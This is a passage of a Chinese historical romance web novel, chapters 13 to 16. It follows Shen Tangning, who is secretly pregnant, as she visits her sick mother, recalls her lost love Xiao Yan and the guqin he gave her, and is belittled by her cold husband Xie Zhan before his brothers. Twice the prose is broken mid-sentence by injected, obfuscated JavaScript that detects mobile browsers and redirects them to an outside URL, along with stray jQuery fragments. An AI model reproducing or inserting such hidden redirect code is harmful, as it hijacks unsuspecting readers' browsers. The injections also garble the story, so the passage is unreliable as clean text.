谢嘉妤搓着手突然回过神来,扭头骂道:“我呸,你个好赖不分的臭丫头,好看什么你就说好看!” 蝶香赶忙避开,嘀咕道:“明明是姑娘你先说的……” 13. 第 13 章 沈棠宁把匣子里的衣服抱出来。 是一件天青色的绣葱绿柿蒂纹妆花褙子,褙子的面料柔软轻薄,里面夹着细细的棉花,这料子的经纬纹路编织细密,因此很抗风,穿上既不显厚重还保暖。 谢嘉妤十分喜欢这件褙子,光出去做客便穿了两三回,未婚夫卫桓也夸她穿这件衣服更显娇俏,谁知昨日吃饭时一不小心在胸口的衣襟处蹭上了油污。 锦衣华服谢嘉妤自是不缺,只是谢家家风并不崇尚奢靡,是以她从小也并不像其他豪门贵女一般有穿一件丢一件的习惯。 谢嘉妤的大丫鬟蝶香就想到了上次沈棠宁来送的那匹妆花缎,后来她听说这匹妆花缎是沈棠宁亲自洗干净的,便将此事告诉了谢嘉妤。 “姑娘可以请世子夫人帮忙洗干净衣服。” 谢嘉妤冷眼旁观,心想沈棠宁这次如果还推三阻四,那心里必定是藏了奸,不然她每回在母亲面前装出一副温柔小意谄媚讨好的模样,怎么可能连个小忙都不肯帮她。 没想到她刚开口,沈棠宁便答应了下来 “自然可以,姑娘若有急用,我想明日就可以来拿。” “这么快?”谢嘉妤疑惑,“你确定衣服能干?” 沈棠宁一笑,“屋里烧着地龙,挂在屋里晾晒一晚,很快就能干了。” 说完,她把褙子小心地叠好收进了匣子里,吩咐锦书去准备清洗的物什。 谢嘉妤看见桌上还放着她没绣完的小绷,拿来过来回翻看了好几眼,问道:“你这是在做什么,香囊?这花样还怪新鲜的。” “是香囊,上面的花样叫做金丝柳叶,姑娘若是喜欢,我也可以给姑娘做一个。” 谢嘉妤凤眼一转,“那你给我也做一个,我就要你这个花样!” 沈棠宁柔声应下。 谢嘉妤不说话,她便低头沉默地继续绣着小绷,察觉到谢嘉妤似乎一直在盯着她,她抬眸嫣然一笑,“四姑娘还有事?” “没,没了。” 谢嘉妤脸不禁一红,移开视线。近看沈棠宁更好看了,尤其是那双含情般的杏眸,乌浓清澈,柔似秋水,而且她说话音调细细柔柔,沙糖拌蜜似的酥软,怪不得那些男人都喜欢她。 冯茹来谢嘉妤院子里串门儿,看见她新戴香囊花样和她平日里穿衣打扮的风格不一样,香气闻起来旖旎可爱,一问之下才知道是沈棠宁送的,立马笑着奉承道:“世子夫人心思果真精巧,不愧是京都第一美人,定是上回世子警告了她,她不敢欺负阿妤妹妹了,转而来讨好你。” 谢嘉妤昂着头“唔”了一声,算是回应。 沈棠宁做完后让锦书把香囊送了过来,听说谢嘉妤喜欢,连调香的方子也没有藏私,谢嘉妤打开方子一看,方知原来这香唤作梅萼衣香,制作工艺十分复杂,需在梅花盛放的晴日,挑选黄昏前含苞待放的梅花制作而成。 冯茹担心谢嘉妤被沈棠宁几个香囊收买了,忙又凑过来道:“不过阿妤你还是小心为上,有句老话不是说,无事献殷勤,非奸即盗……” 沈棠宁不得哥哥的喜欢,要想讨哥哥欢心,在这个家里立足,还是得和她多多套近乎才行,她要是真和她对着干,那才是愚不可及,自断后路! 谢嘉妤不耐烦地摆了摆手,“知道了知道了!” - 沈棠宁收到温氏的仆妇陈妈妈递来的口信,得知温氏生了病,好几日都病怏怏的,口中念叨着她,担心极了,傍晚时分带着给王氏做的两双冬袜来向王氏求情,能不能得空回娘家看望温氏。 王氏准了,另让秦嬷嬷去库房挑了些发散的珍药包给沈棠宁。 隔日一早,沈棠宁穿戴停当,匆忙出了门。 大门首下,一人窄袖玄袍,手挽长鞭,神情冷峻地挺立马上。 听到有生人的动静,谢瞻胯.下那匹通体乌黑油亮,唯有两对蹄子雪白的骏马躁动不安地打了个响鼻。 谢瞻皱眉,冷冷瞪她一眼道:“还不快上车,难道还要我等你?” 说罢猛地将长鞭一抽,白蹄乌嘶鸣着从沈棠宁面前呼啸而过。 沈棠宁白着脸后退几步。 自那日从寻春小榭怒气冲冲地离开之后,谢瞻对她的态度就愈发恶劣,有时候在如意馆请安看见他,她若开口说话,他必出言讽刺刻薄。 要么就是那种惯有的、毫不掩饰的轻蔑眼神。 安成忙过来解释道:“世子夫人别怕,夫人担心世子夫人一人回娘家不方便,特让世子来送您回平宁侯府。” 其实王氏是觉得沈棠宁和谢瞻当日三日回门礼没做成,兆头不好,有心把礼节圆了,二则也担心沈棠宁回家一路磕碰着,才叫谢瞻一路护送。 谢瞻很显然不愿领会王氏的用意。 沈棠宁没说什么,勉力笑了笑,默默上了马车。 马车碾过清晨犹染昨夜白霜的街道,缓缓行着。 沈棠宁坐在马车里,掀开帏帘一角。 街道两侧已经有了不少三三两两行踪匆忙的行人,扑面而来的烟火气淳朴而熟悉。 不远处,谢瞻打马走在最前。 这人自幼生了张好皮囊,此时一身玄色官袍,腰束革带,足蹬长靴,愈发衬得他蜂腰猿臂,剑眉星目,英气勃发,连随便一个扬鞭的动作都是说不出的潇洒不羁。 街上不少女子都朝他看过来,指指点点,面露痴迷欢喜之色,而谢瞻本人却是目不斜视,仿若习以为常。 等快到了平宁侯府的巷口时,沈棠宁听到街边熟悉的叫卖吆喝声,忍不住再次掀开帏帘。 谢瞻早不见了踪影。 平宁侯府的门口,沈棠宁的叔父沈弘谦和堂兄沈宵俱翘首以盼,发现只有沈棠宁一个人下车,两人脸上都是掩不住的失望。 见不到想巴结的谢瞻,沈宵敷衍了两句,转头就走了,沈弘谦心里也是无奈地叹了口气,面上倒是依旧对沈棠宁嘘寒问暖。 两人一道进了大门,因郭氏出了门不在,寒暄几句后分手,沈棠宁便去了西府看望温氏。 一进屋,屋子里一股子浓重的药味,沈棠宁从药味里判断出温氏大概病情已经好转,快步走到床前,低低地唤了温氏一声。 “娘,团儿回来了!” 温氏眼睛看不清,听到女儿的声音眼眶骤然红了,急忙起身去摸她的手,“团儿,我的团儿!” 母女俩许久不见,抱作一团,潸然泪下。 陈妈妈按了按眼角,递来帕子,笑着调侃道:“好了好了,姑奶奶回来这大好的日子,夫人怎么又哭上了?仔细对眼睛不好。” 沈棠宁忙拿过帕子,心疼地替母亲擦干眼泪。 温氏握住女儿的手,咳嗽两声,“娘没事,昨夜发了回汗,这会子早好了,我的儿,你这段时日怎么样,有没有生病?回门那日镇国公府打发人过来说你害了风,不能回家,娘心里急坏了!” 又责备道:“你这孩子怎么不打一声招呼就回来了,你婆婆会不会不高兴?下次别再这样了,娘是小病,你才嫁过去多久,回娘家多有失礼数,会被别人笑话!团儿啊,你嫁的可不是普通人家,等会儿你就赶紧回镇国公府,别在这里久耽!” 温氏越想越发觉得不妥,催促沈棠宁赶紧回去,这幅小心翼翼的模样叫沈棠宁鼻尖一酸,险些落泪。 她佯作生气,把手从温氏怀里抽走道:“我刚回来娘就赶我走,原来是娘是半点都不想女儿,娘再这 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而她觉得谢家的门第比萧家的门第更高贵,她更喜欢谢世子,就答应了谢家的婚事。 温氏当时误会是郭氏逼迫了沈棠宁,一向在西府足不出户的她还十分生气地去找郭氏理论,但沈棠宁坚持要嫁,一副铁了心肠的模样,温氏到底疼爱女儿,最后也不得不点头同意了这门亲事。 沈棠宁靠进温氏的怀里,“娘多虑了,您别担心,婆母待我很好 ,不信您摸摸夫人给我做的新衣服,料子特别轻薄保暖。” 温氏摸了摸,料子果真光滑柔软,高兴地道:“我原便听说王氏夫人是个极妥帖周全的人,想来他们家先求娶的你,定不会待你差了。“ 说到此处,温氏忽记起似乎除了亲迎那日,连三朝回门没见到谢瞻,不由问:“团儿,光说这些了,那你夫君呢,他对你如何?他这会儿是不是还在你叔父堂兄那儿坐着呢?”招呼陈妈妈道:“你赶紧去把那些碧螺春找来泡上,也不知姑爷他喝不喝得惯,这茶还是你叔父前些日送来的……” 沈棠宁看了陈妈妈一眼,“娘您先别急……夫君他自然待我也极好,我俩相敬如宾,今日就是他亲自把我送到了家门口,不巧……不巧今日朝中临时有急事,他匆忙赶回去了,以后有机会他一定会亲自来拜见您!” 温氏闻言就有些遗憾,担心温氏多问,沈棠宁赶忙转移了话题,问到温氏的病情上。 屋外,陈妈妈悄悄驱散了所有人,末了自己也退了出去,关上门守在门口。 沈棠宁见大家都不在了,才问出自己的心事。 她目前攒的银子只够在京都外围买个小宅子,就是以后不能常回家拜祭父亲,生活的开销恐怕也会紧张一些。 沈棠宁斟酌着提出来,生怕温氏听了起疑心,便托词道:“娘的病大夫说还是得静养,叔母的为人……我不放心娘再待在家里,眼下我手里也有了余钱,我想陈妈妈陪着娘搬出去住,以后娘的病我来操心,我会治好娘的眼睛。” 孰料温氏闻言却沉了声道:“我在家里住的就挺好,你爹不在了,你叔父叔母侍奉我这个大嫂天经地义,为何要搬出去住?团儿,这种大逆不道的话以后不许再提一个字!” 郭氏再跋扈,侯府再没落,平宁侯府也是沈棠宁的娘家,若温氏搬出侯府,沈棠宁将会变得无依无靠。 她年纪大了,知道自己是个累赘,拖累年幼的女儿早早懂事持家,女儿越长大越貌美,郭氏的心思昭然若揭,温氏看在眼里疼在心里,既恨郭氏利用女儿,又恨自己无能为力保护不了她,她不想因为自己再给女儿添麻烦。 侍候着温氏歇下后,沈棠宁心事重重地回了自己的闺房。 14.第 14 章 陈妈妈把窗户掩好,屋里烧着热热的炭火,让丫鬟端进来沈棠宁爱吃的点心瓜果。 “怎么样,姑娘最近害喜得厉不厉害?”陈妈妈心疼地问她。 陈妈妈一直知道沈棠宁有孕的事。 “不厉害,就是还闻不了荤腥重的,一闻就想吐,妈妈你看,我显怀了。” 沈棠宁把衣服解开一层,引着陈妈妈的手放上去,果然小腹微微隆起。 然而陈妈妈再观沈棠宁的脸色,仍旧透着股气血不足的苍白,下颌尖尖,不仅没胖,好似还瘦了一些。 陈妈妈心里叹了口气。 “我给姑娘个土方子,我儿媳妇前年怀大郎的时候就吃的这个方子,之后胃口好多了。” 锦书帮沈棠宁收了方子,陈妈妈几次想问沈棠宁谢瞻待她如何,却欲言又止。 沈棠宁含笑回应,报喜不报忧。 少顷,韶音小心地抱着一把琴走进来。 陈妈妈掀开深绿色的琴囊,“姑娘还记得这张绿绮吧,婚前我替姑娘拿去琴行修,琴行老板说这琴是绝世名琴,琴面和琴弦却损坏得过重,额腰尾都有不同程度的破损,给换了三根琴弦,其余地方以梓桐二木修补,只是修补后琴音怕难以恢复如初,前段时间才终于修好,姑娘可要试试音?” 绿绮是绝世的四大名琴之一,音色绝妙,相传它的主人乃是一千年前的大文豪司马相如的爱琴,当初司马相如便是以绿绮弹奏一曲《凤求凰》琴挑卓文君。 绿绮通体黑色,琴身却泛着幽幽绿芒,乍看犹如翠绿的藤蔓交相缠绕于古木之上,分外雅致古朴,故此取之名曰“绿绮”。 沈棠宁爱琴如命,奈何她买不起稍微名贵些的古琴,郭氏带她出席各式世家宴会,她将自己的琴拿出来弹奏时总会引得贵女们讥讽嘲笑。 久而久之,沈棠宁便不在众人面前抚琴。 而绿绮,正是萧砚所赠,是他们二人间的定情之物。 沈棠宁与萧砚的相识,说来话长。 那时定北王世子宗瑁对她穷追不舍,虽说定北王只是个奚族出身的蕃将,但架不住隆德帝重用,再说郭氏也不想开罪定北王,就想把她嫁给定北王世子算了。 可宗瑁此人十分地风流放荡,平日里常爱卧柳眠花,章台走马,每回见她都言语轻佻,甚至三番两次意图轻薄于她。 沈棠宁不想嫁给宗瑁,又无法忤逆郭氏,烦闷之下,躲到郊外的普济寺中住了些时日。 一日,她在净室中拨琴,琴声哀愁,传到墙外。 墙外男子顿足,不仅指出她曲中错处,还听出她心神不宁,出言安慰。 她打开房门时,那男子已经走远,只留给她一个模糊清隽的背影。 那日之后他便时常来她房门前与她交谈,时日一长,两人都生了白发如新倾盖如故之感,虽没有见到对方的样貌,却真正将对方引为知己。 说来也是有缘,后来沈棠宁再住进普济寺,总会不期然偶遇到他。 萧砚生得丰神俊朗,又是满腹经纶。郎才女貌,一见如故,彼此互生情愫是顺理成章之事。 绿绮自前朝覆灭后辗转流落到一位终南山隐士的手中,萧砚获悉绿绮下落后便于冬日不辞辛苦爬上到严寒的终南山,苦求了那隐士三个月才为她重金求来了绿绮。 萧砚待她情深意重,从头到尾,都是她对不住萧砚,辜负了他的一片赤诚之心。 郭氏与沈弘谦一心高攀,那些世家子弟又岂是真心爱慕她,不过是看中她美丽的容颜。 以色事人者,能有几时好?世人皆赞美她容貌冠绝京华,美貌除了带给了她声望和与郭氏计较的砝码,随之而来的便是无数的诽谤与烦扰。 男人们在外散播她水性杨花的风言风语,蔡氏兄弟为她相争又使得她无缘无故成了他人口中的红颜祸水,被推上风口浪尖,实际上那日她只是受邀去了一趟蔡家的茶宴,甚至根本不记得蔡尚书家的两位公子生的是何模样。 她本以为能够遇到不在乎她容貌与名声的萧砚,可仅仅是因为她受邀去了一趟皇孙的周岁宴,从那之后她一切对未来的期望都化作了虚妄。 他才华出众,风度翩翩,而她家门衰落,声名狼藉,她原本就配不上他,又失去了清白之身,萧砚还会要她吗? 沈棠宁不敢说,更不敢亲口告诉他,她害怕面对他愤怒指责的目光,所以那日之后才会仓皇躲到了普济寺。 在萧老夫人离开普济寺后,萧砚曾来找过她一次,她不仅说服他退掉了亲事,也如愿以偿得到了来自于他的愤怒指责。 后来她便听说他去了边关投军,至今杳无音讯。 就像如今琴身虽已修好,琴音却再难恢复如初,或许这就是命,万般皆是命,半点不由人。 绿绮是流传百年的名琴,只因她受了无妄之灾,损音折调,她既痛心惋惜,也没有脸再把琴送还萧砚。 沈棠宁轻抚琴身。 “收起来吧。”她低声道。 出嫁前她本以为谢瞻只是不喜她,如今看来……沈棠宁苦笑,谢瞻是非常厌恶她。 所以她才会想着去讨好王氏,这也是她的一点私心,若是日后谢瞻恨屋及乌,腹中这个可怜的孩子便是受了无妄之灾,到那时她与谢瞻和离,与谢家一刀两断,连她这个亲娘都不在了,这个孩子能依靠的唯有王氏。 好在,沈棠宁嫁进镇国公府的时日虽不长,但她看得出来,王氏是个端正严明的主母,府中上下对她无不敬服。 能得她对孩子慈爱相护,沈棠宁便能放心离开了。 她现在唯一担忧的是,郭氏不会答应她与谢瞻和离,不过谢瞻真铁了心要和离的话,郭氏恐怕也拦不住。 和离后她便在舅舅温济淮家的旁边买上一座小宅子,带着温氏投奔舅舅,如此一家人还能有个照应,实在不行,大不了她出家去做姑子。 总之这一次,她不会再听任何人的摆布。 “姑奶奶,侯爷请您去东府,说是有话对您说。” 临走前,沈弘谦的小厮过来请她。 沈棠宁起身准备出去,陈妈妈却拉住了她,意思是和她一起去东府。 “姑娘,别在里面坐太久,一刻钟的功夫就赶紧出来,有什么事记得喊我。”陈妈妈一脸严肃地提醒道。 每回沈棠宁和沈弘谦见面,陈妈妈总是要不放心地嘱咐这几句。 沈棠宁不疑有他,轻轻拍了下陈妈妈的手背,示意她放心。 花厅里,沈弘谦手里提着只金丝笼,逗弄着里面的两只小兔。 见沈棠宁瞪大一双杏眼好奇地看过来,沈弘谦就把金丝笼递到了她面前,笑道:“团儿,佃农在庄子里捉了两只兔子,我记得你小时候最喜欢这些小东西,就一直给你留着,没想到你这么快就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422762|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了家,你在镇国公府不常出门,平日没有消遣,这两只兔子就送给你玩吧。” “芳容妹妹应该也会喜欢,还是留给她吧。” 沈弘谦摆手道:“她是个没出息的,就喜欢珠宝首饰,哪有你听话懂事,”说着面上笑容微敛,看着沈棠宁叹了口气,“团儿,我知你还在怨我当初和你叔母逼你嫁给谢世子,不管怎么样,我们一家人打断骨头连着筋,一笔写不出两个沈字,你要怨我叔父无话可说。” “叔父现在还记得你当年五六的时候趴在叔父的背上,让叔父背你去看灯会的场景,你小小的一团缩在叔父的背上,缠着叔父要糖葫芦吃,夜里回去时你又困又怕,叔父给你讲故事哄你睡觉……” 沈棠宁抿着唇,袖下的双手却紧紧地攥了起来。 年幼时,父亲沈弘彰在外南征北战,建功立业,她一年到头见不到爹爹几回,就把叔父当作自己的爹爹,对他百般撒娇歪缠,沈弘谦疼爱她,什么好吃的好喝的都会想着先留给她。 沈棠宁知道,沈弘谦提这些陈年旧事是不希望她与郭氏交恶,记恨郭氏。 “我明白了叔父,不过今日时辰已晚,我不好再耽搁,来日有空写帖子请叔母进府吃茶。” 沈棠宁面上维持着体面客气的微笑。 沈弘谦终于舒了口气,高兴地道:“好好,团儿,我送你出去,你一路当心。” - 镇国公府的小校场。 谢瞻弯弓搭箭,箭尖对准靶心。 “嗖”的一声,白羽箭准确无误地射穿了草垛的靶心,飞出去足有十来米。 长忠满头大汗地跑去把白羽箭捡回来。 这已经是这个月谢瞻射坏的第三个靶子了,谢瞻箭术超群,且臂力惊人,甚至能拉开足有两百斤重的大弓,自练箭之后把箭靶子射坏都是稀松平常的事情。 每回都用这么大力气,跟和靶子有仇似的,还射这么远,长忠心里暗暗埋怨。 金乌西坠,谢三郎与谢四郎已经联袂离开了,谢睿落后一步,还坐在一旁的擦拭自己的弓。 过了一会儿,安成气喘吁吁地跑了上来,对谢瞻低声道:“爷,世子夫人快要到回来的时辰了,夫人让您去平宁侯府接她。” 听到和沈棠宁有关的事,谢睿的耳朵竖不由了起来,手下擦拭的动作也慢了。 谢瞻斜睨了眼一旁心不在焉的谢睿,再次弯弓搭箭,对准箭靶。 “让她等着,我现在没空,不然就自己坐车回来。” 安成“哦”了一声,刚要离开,一旁的谢睿就忍不住站了起来。 “二哥,这么冷的天,二嫂肚子里还怀着你的孩子,多不安全,你还是去沈家把她从娘家接回来吧。” 谢瞻点头,缓缓拉弓,“七弟说得很是,是我疏忽了。” 谢睿忙走过来道:“那二哥赶紧去接二嫂吧!” 谢瞻微一偏头,两人四目相对。 谢睿毫无防备,还下意识地笑了一下,谁知下一瞬,谢瞻竟突然将箭尖跟着偏过来径直对准了他! 谢七郎勃然色变,险些从地上跳起来。 片刻后,谢瞻慢悠悠地放下弓。 他剑眉微挑,微笑着道:“七弟脸色怎么这么差?既然你这么关心你二嫂,不如你替我去接,想必你心里也是乐意效劳得很?” 谢睿脸一阵红一阵白。 15.第 15 章 谢睿本是替沈棠宁打抱不平,自从沈棠宁嫁进镇国公府,谢瞻就从没有正眼看过她,谢睿怜香惜玉,见不得美人蒙尘受辱,这才好心出言相劝。 从小校场下来,回四房的路上,谢睿的长随忿忿地抱怨谢瞻道:“世子爷总是这样,七爷几个兄弟里面就数他最傲慢无礼,最讨人厌!占着世子的位置,每回各房有什么人情往来他却从不出席,还有这次公子你明明是关心他和世子夫人两句,他还要刻薄你,好像猜疑你和世子夫人有什么似的的!” “世子夫人也真是命不好,这样的一个大美人怎么就嫁给了世子爷,简直一朵娇滴滴的鲜花插在臭石头缝上!” 谢睿自认为胸怀坦荡,然而听他说这话,不知为何却有些心虚。 可一想到沈棠宁,想到新妇敬茶那日她面上强颜欢笑的模样,心里又难受不已,仿佛压了块石头似的喘不上气。 “好了,莫要背后议人长短!” 谢睿斥责长随几句,心里更加烦乱,提脚匆匆走了。 - 晌后沈棠宁抱着沈弘谦给的两只兔子回了镇国公府。 锦书小时候在乡下长大,说这两只兔子看着有七八个月了,是家兔不是野兔,好喂养,从厨房要来水和一些细萝卜、青菜叶子,把两只只有巴掌大一些的小兔从笼子里放出来。 小兔皮毛柔软,摸着手感很好,吃饭的时候缩成小小一团,“嘎吱嘎吱”咬着韶音递过去的干菜叶子,把两个大丫鬟稀罕得几乎一下午都没离屋。 沈棠宁给两只小兔分明起了名字,公的那只是灰兔,就叫做小灰,雌的那只是白兔,唤作绵绵。 她刚进门时王氏便免了她的晨昏定省,让她每日安心在寻春小榭养胎,但沈棠宁依旧每日风雨无阻地去如意馆给王氏请安。 除了每天必须的晨昏定省,闲暇时就逗弄两只小兔,天气晴朗的时候在廊下的美人靠上铺几块毡毯坐着绣帕子、晒太阳,锦书和韶音会把小灰和绵绵从笼子里放出来,引着它们在院子里撒欢玩儿。 “姑娘,绵绵不见了!” 沈棠宁近来惫懒觉多,倚在美人靠上眯了没一会儿的功夫,锦书忽然凑过来在她耳边低语了一句。 “姑娘,他俩原本是成双成对儿的,若是其中一只死了,这一只剩下的小灰只怕也难活!都怪我,都怪我没看好他俩!”韶音懊丧地道。 平日里一向是韶音照顾小灰和绵绵,适才她在院子里外翻了个遍都没看见绵绵的影子。 好不容易养了这两只兔子,每日看着逗趣儿,姑娘心情才好了许多,再说,绵绵和小灰虽是兔子,性子却极乖巧懂事,抱过来之后就没挑过食,好养活极了,养久了难免有了感情,眼下绵绵丢了,韶音很是自责,眼泪都快急了出来。 沈棠宁替她擦拭眼泪,“先别哭,我晓得你不是有意的,许是绵绵贪玩跑出去了也不准,咱们出去找找吧。” 锦书和韶音给沈棠宁披上厚实的披风,主仆三人出了院子。 冬日草木凋零,镇国公府里却常年栽种着琪花瑶草,沿着寻春小榭一路向西,夹道两侧的墙壁下栽满了挺拔翠绿的常青树,一直延伸到尽头处的梅林之外。 以往沈棠宁不常出门,在镇国公府里她向西走过最远的地方大约便是梅林。 此时梅林中幽静无声,腊梅花正是含苞待放,也有些零散已开,香气沁人心脾,为谢嘉妤制作的梅萼衣香就是在此间的梅林中所得。 在梅林中走了有一盏茶的功夫,没有找到绵绵的踪迹,沈棠宁实在累了,便由二婢扶着做到北侧粉墙下一块太湖石上歇了会儿,俄而忽闻水声潺潺,风声簌簌,似乎还夹杂着男人爽朗的笑语声。 再往前走就是一片郁郁葱葱的松林。 锦书好奇地向前走去,隔着松林远远向对侧眺望。 只见不远处地势先低后高,呈现一个盆地的形状,一条并未冰封的雪溪蜿蜒穿过松林间隙,其中树影幢幢,栽种甚密,隔绝了松林内外的声响,而对面南侧尽头处则堆着数十个草垛,中间七八个围成半弧形的箭靶,严寒的冬日里几人竟赤裸着上半身围在一处比赛射箭。 谢家子弟芝兰玉树,个个生得俊美无俦,大家平日里风度翩翩,站在一处有如玉山上行,光彩照人,脱了衣服更显蜂腰猿臂,浑身的肌肉劲瘦有力,阳光照耀在他们大汗淋漓的后背上,小麦色的肌肤青筋毕露,竟叫人不敢直视。 锦书只看了一眼便慌忙红着脸扭头跑了。 对面的声音断断续续地传过来,不知有人说起了什么,当中一人哈哈大笑道:“……二哥娶了这京都第一美人,都说最难消受美人恩,我看也不尽然,二哥分明和成婚前一样,想什么时候回家就什么时候回家,随心所欲,哪里像我们,比那未成婚的时候还要逍遥!” 谢四郎边说,边朝着谢瞻挤眉弄眼。 通常男人们围在一处,不是谈论朝堂政治就是对女人评头论足,话题贫瘠得很。 提起美人,大家一个个可都不累了,瞪起眼睛来。 在场的几个谢氏子弟中,除了谢睿年纪到了还没来得及说亲事,其余几位爷不是有了未婚妻便是英年早婚。 谢瞻常年在外征战,常令瑶又是明年才到及笄的年岁,孝懿皇后在世时便发话,比谢瞻年纪小的兄弟们不必等他,到了适婚的年纪可挑选符合心意的女子成婚。 即使没成婚,大家族的子弟婚前房里养个把通房也不是什么稀奇事,偏谢瞻常年不在家,房里连个近身伺候的丫鬟都没有,谢四郎忍不住凑过来问道:“都说二嫂生得国色天香,我看二哥却从没放在心上过,莫非二哥喜欢的是那等烈性胆大的美人,对二嫂这样温柔端庄的大家闺秀不感兴趣?” 谢四郎担心触及兄长心事,没敢说出常令瑶的名字,谢瞻从小性子就沉闷冷淡,提到女人的事情更是不耐烦,而永宜县主常令瑶天性活泼,最爱跟在他身后叽叽喳喳,什么帕子香囊塞进谢瞻手里就不肯再收回去。 哪怕谢瞻对她并不热络,下一次她依旧又会凑到他的跟前来,像个小尾巴一样甩不掉,这也是孝懿皇后看中常令瑶的原因之一。 谢四郎这意思,沈棠宁虽然长得漂亮,性格温柔,却是个无趣寡淡的木头美人,所以谢瞻才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434469|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她不屑一顾,其实他喜欢风骚娇俏的! 众人都伸长脖子等着谢瞻的回应,毕竟这位京都第一美人先前他们也只是多闻其名少见其人,心痒难耐,好奇极了。 谢瞻淡淡地道:“沈氏,她不算是个美人。” “叮”的一声,谢睿手中的箭射偏了,歪着插进箭靶子虎相的嘴巴上。 谢三郎不明所以,拍着谢睿的肩膀道:“七弟,你这射艺可要再精进精进了,怎么比上次射得还要偏!” 在一众兄长们的调笑声中,谢睿羞耻地抬眼,正对上谢瞻那双幽黑的凤目,谢瞻自然也在看着他笑,只是他的唇畔却噙着丝仿若挑衅般的笑。 谢三郎叫道:“二哥,到你了,你快示范给七弟看看,就算射不中靶心,这箭也不能射歪啊!” 谢三郎话音刚落,谢四郎突然一个箭步跳过来,似乎有些激动,神神秘秘地压低声音道:“哎,你们看那边,谁来了,是不是不是二嫂和她的丫鬟们?” 谢睿浑身一下子就紧绷了起来。 她、她怎么来了? 几人闻言都朝着左手边望去。 小校场地势高,向下看去时对侧的景象便叫几人尽收眼底,梅林和松林之间伫立着一片姿态各异的太湖石,一个身穿豆绿色绣花镶领对襟比甲的女子歇在一块太湖石上,中间站着两个小丫鬟在说话。 谢三郎疑惑道:“好像还真是她,你这厮!怎的光靠一个背影认出的是二嫂?” 谢四郎嘿嘿地笑,没说话。 沈棠宁乌发如云,一身雪白肌肤,谢府中和她一样白净的女子不少,但是像她这样既有一头乌黑油亮的长发,又白得欺霜赛雪的女子却并不多见。 谢四郎眼珠子一转,故意大声催促谢瞻道:“二哥,想是你箭术超群,百发百中,二嫂都来亲自看你射箭了,你赶紧射一个给嫂嫂瞧瞧,叫她知道你的厉害,那什么忠毅侯萧仲昀算个什么东西,哪里及得上我兄长风姿超群!” 旁边的谢五郎就哈哈大笑起来,对谢四郎说道:“瞧四哥你这话说的,二哥百发百中,二嫂早就亲身体会过了,七弟你说是也不是啊?” 倘若谢瞻敬爱沈棠宁,谢四郎和谢五郎肯定不敢当着他的面开这种玩笑。 两位兄长的笑容下流,如有所指,谢睿还是个童子鸡,他耳根通红,扭过了脸去。 谢瞻面无表情地挽弓。 都传沈氏这女子狐媚手段了得,能将男子勾得神魂颠倒,非她不娶,看看他这几个兄弟就知道如何了,见是她来了,一个个跟饮了鹿血似的兴奋多舌。 他却觉得沈氏除了样貌尚说的过去外,看着无丝毫特别之处,她从前的那位未婚夫,忠毅侯萧砚,想来更是个极肤浅愚蠢的男人 白羽箭直直地飞出去,在空中迅速划出一道漂亮的弧线,随后毫无悬念地射中靶心的虎眼处。 几个兄弟捧场地奉承着,谢瞻扔了弓,冷冷看了一眼还在发呆的谢睿,余光掠过远处的太湖石林时,神情一滞。 她刚刚坐过的那块太湖石上,寒风徐徐,吹走几片枯叶,早已不见了佳人的影子。 16.第 16 章 “好好个人眼神儿不好,真该请宫里的太医给他治治!” 锦书赶忙捂住韶音的嘴,“行了我的好姐姐,你就少说两句话吧!”朝着一旁的沈棠宁抬了抬下巴。 沈棠宁低着头没说话,但两人都能看得出来,她心情很不好。 谢瞻的话简直刻薄到令人发指,他那意思是说沈棠宁无趣且其貌不扬,连个美人都算不上,把人里外都这么一通贬斥,且还是当着他那么多兄弟的面,一点颜面都不留给她,偏她们姑娘又不是个心大的,这会儿心里想是难受极了。 谢府六房,光镇国公府就占据了将近半条街,这一路走下来不仅没寻到绵绵的踪迹,还把三人都给累得够呛。 锦书数了数还有什么地方没找,提议道:“绵绵应该跑不远,小校场那里咱们还没找,不如等世子他们都走了,咱们再过去看看?” 沈棠宁迟疑了一下,擦擦额上的汗,点了点头。 休息片刻,看着天色已经不早了,三人遂起身返回。 行至刚才坐过的那块太湖石,透过浓绿的松林,隐约看见似乎尚有一人赤裸着上半身在校场中央打桩,木桩子被他撞得咣咣作响,刺耳极了。 是谢瞻,他竟还没离开。 沈棠宁停下步子,萌生了退意。 这时,韶音突然低低地“嘘”了一声,指着太湖石洞里用口型说道:“姑娘,锦书,你们看,那是不是绵绵!” 锦书忙俯下身,灌木丛中飞快地窜过一只雪白的影子,消失在洞口深处。 三个人手忙脚乱,你到这边来阻,我到那边去拦,沈棠宁不方便蹲下,就把肩膀上的披帛摘下来,两个丫鬟一人牵着一边围住绵绵藏身的洞口处。 绵绵好像是受了惊,四只小蹄子灵活地蹿来蹿去,三个人都抓不住一只兔子,被绵绵从洞中逃出蹿向松林。 小校场上,谢瞻打完桩,汗水将他下半身的长裤浸湿,长忠递来汗巾子给他擦汗,忽迎面一阵幽香随风吹来,一条雪白的绫帕飘落到谢瞻的身上。 “咦,哪里来的帕子?”长忠朝帕子吹来的方向看去。 绫帕丝滑柔软,上面绣着一朵娇艳妩媚的并蒂海棠小花儿,谢瞻举到鼻端轻嗅,果然是那股熟悉的,夹杂着淡淡药香的香气。 她身上的味道。 